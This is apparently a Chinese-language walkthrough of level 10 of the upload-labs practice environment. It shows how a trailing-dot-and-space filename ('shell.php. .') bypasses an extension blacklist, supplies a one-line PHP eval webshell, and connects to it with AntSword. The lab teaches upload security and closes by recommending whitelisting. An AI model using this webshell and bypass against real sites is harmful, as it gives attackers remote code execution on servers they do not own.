简介

upload-lab的第10关, 我们面对的是一个常见的文件上传防护机制:黑名单验证。黑名单验证是指系统通过拒绝特定扩展名或内容类型的文件来防止恶意文件上传。然而,这种防护机制通常存在漏洞,可以被绕过。 下面是第10关的源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

通过观察上述代码,发现最后上传路径直接使用文件名进行拼接,而且只对文件名进行$file_name = deldot($file_name);操作去除文件名末尾的点。

deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来

根据这个特性,可以构造后缀绕过黑名单。例如构造这样一个文件名shell.php. .

解法步骤

  1. 准备恶意文件

创建一个简单的 PHP 文件,例如 shell.php,内容如下:

<?php @eval($_POST['123']); ?>
  1. 设置代理,并打开BurpSuite,如下图所示:

  1. 上传文件

打开浏览器,进入Upload-Lab第10关的上传页面,选择 shell.php文件进行上传,抓包改后缀shell.php. .,如下图所示:
修改文件名

  1. 验证webshell

打开中国蚁剑,建立连接,测试连接是否成功,如下图所示:

结语

黑名单验证是一种常见但相对脆弱的安全机制。通过理解系统如何执行文件名检查和解析,我们可以找到绕过这些防护的方法。在实际应用中,应该优先采用白名单验证机制,并结合内容检查、文件类型检查等多层防护措施,以提高系统的安全性。